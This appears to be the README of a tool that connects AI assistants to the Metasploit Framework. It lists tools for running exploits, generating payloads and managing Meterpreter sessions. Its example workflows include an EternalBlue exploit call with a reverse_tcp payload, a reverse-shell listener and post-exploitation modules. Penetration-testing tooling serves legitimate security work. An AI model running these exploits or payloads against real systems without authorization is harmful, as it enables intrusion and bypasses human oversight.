Metasploit MCP Server

A Model Context Protocol (MCP) server for Metasploit Framework integration.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Description

This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.

Related MCP server: Vibehacker Metasploit MCP

Features

Module Information

• list_exploits: Search and list available Metasploit exploit modules

• list_payloads: Search and list available Metasploit payload modules with optional platform and architecture filtering

Exploitation Workflow

• run_exploit: Configure and execute an exploit against a target with options to run checks first

• run_auxiliary_module: Run any Metasploit auxiliary module with custom options

• run_post_module: Execute post-exploitation modules against existing sessions

Payload Generation

• generate_payload: Generate payload files using Metasploit RPC (saves files locally)

Session Management

• list_active_sessions: Show current Metasploit sessions with detailed information

• send_session_command: Run a command in an active shell or Meterpreter session

• terminate_session: Forcefully end an active session

Handler Management

• list_listeners: Show all active handlers and background jobs

• start_listener: Create a new multi/handler to receive connections

• stop_job: Terminate any running job or handler

Prerequisites

• Metasploit Framework installed and msfrpcd running

• Python 3.10 or higher

• Required Python packages (see requirements.txt)

Installation

1. Clone this repository

2. Install dependencies:

   pip install -r requirements.txt

3. Configure environment variables (optional):

   MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads

Usage

Start the Metasploit RPC service:

Transport Options

The server supports two transport methods:

• HTTP/SSE (Server-Sent Events): Default mode for interoperability with most MCP clients

• STDIO (Standard Input/Output): Used with Claude Desktop and similar direct pipe connections

You can explicitly select the transport mode using the --transport flag:

Additional options for HTTP mode:

Claude Desktop Integration

For Claude Desktop integration, configure claude_desktop_config.json:

Other MCP Clients

For other MCP clients that use HTTP/SSE:

1. Start the server in HTTP mode:

   python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

2. Configure your MCP client to connect to:

   • SSE endpoint: http://your-server-ip:8085/sse

Security Considerations

⚠️ IMPORTANT SECURITY WARNING:

This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.

• Always validate and review all commands before execution

• Only run in segregated test environments or with proper authorization

• Be aware that post-exploitation commands can result in significant system modifications

Example Workflows

Basic Exploitation

1. List available exploits: list_exploits("ms17_010")

2. Select and run an exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})

3. List sessions: list_active_sessions()

4. Run commands: send_session_command(1, "whoami")

Post-Exploitation

1. Run a post module: run_post_module("windows/gather/enum_logged_on_users", 1)

2. Send custom commands: send_session_command(1, "sysinfo")

3. Terminate when done: terminate_session(1)

Handler Management

1. Start a listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)

2. List active handlers: list_listeners()

3. Generate a payload: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})

4. Stop a handler: stop_job(1)

Testing

This project includes comprehensive unit and integration tests to ensure reliability and maintainability.

Prerequisites for Testing

Install test dependencies:

Or use the convenient installer:

Running Tests

Quick Commands

Specific Test Suites

Test Options

Test Structure

• tests/test_options_parsing.py: Unit tests for the graceful options parsing functionality

• tests/test_helpers.py: Unit tests for internal helper functions and MSF client management

• tests/test_tools_integration.py: Integration tests for all MCP tools with mocked Metasploit backend

• conftest.py: Shared test fixtures and configuration

• pytest.ini: Pytest configuration with coverage settings

Test Features

• Comprehensive Mocking: All Metasploit dependencies are mocked, so tests run without requiring an actual MSF installation

• Async Support: Full async/await testing support using pytest-asyncio

• Coverage Reporting: Detailed coverage analysis with HTML reports

• Parametrized Tests: Efficient testing of multiple input scenarios

• Fixture Management: Reusable test fixtures for common setup scenarios

Coverage Reports

After running tests with coverage, reports are available in:

• Terminal: Coverage summary displayed after test run

• HTML: htmlcov/index.html (when using --html option)

CI/CD Integration

For continuous integration:

Configuration Options

Payload Save Directory

By default, payloads generated with generate_payload are saved to a payloads directory in your home folder (~/payloads or C:\Users\YourUsername\payloads). You can customize this location by setting the PAYLOAD_SAVE_DIR environment variable.

Setting the environment variable:

• Windows (PowerShell):

  $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"

• Windows (Command Prompt):

  set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads

• Linux/macOS:

  export PAYLOAD_SAVE_DIR=/custom/path/to/payloads

• In Claude Desktop config:

  "env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default }

Note: If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.

License

Apache 2.0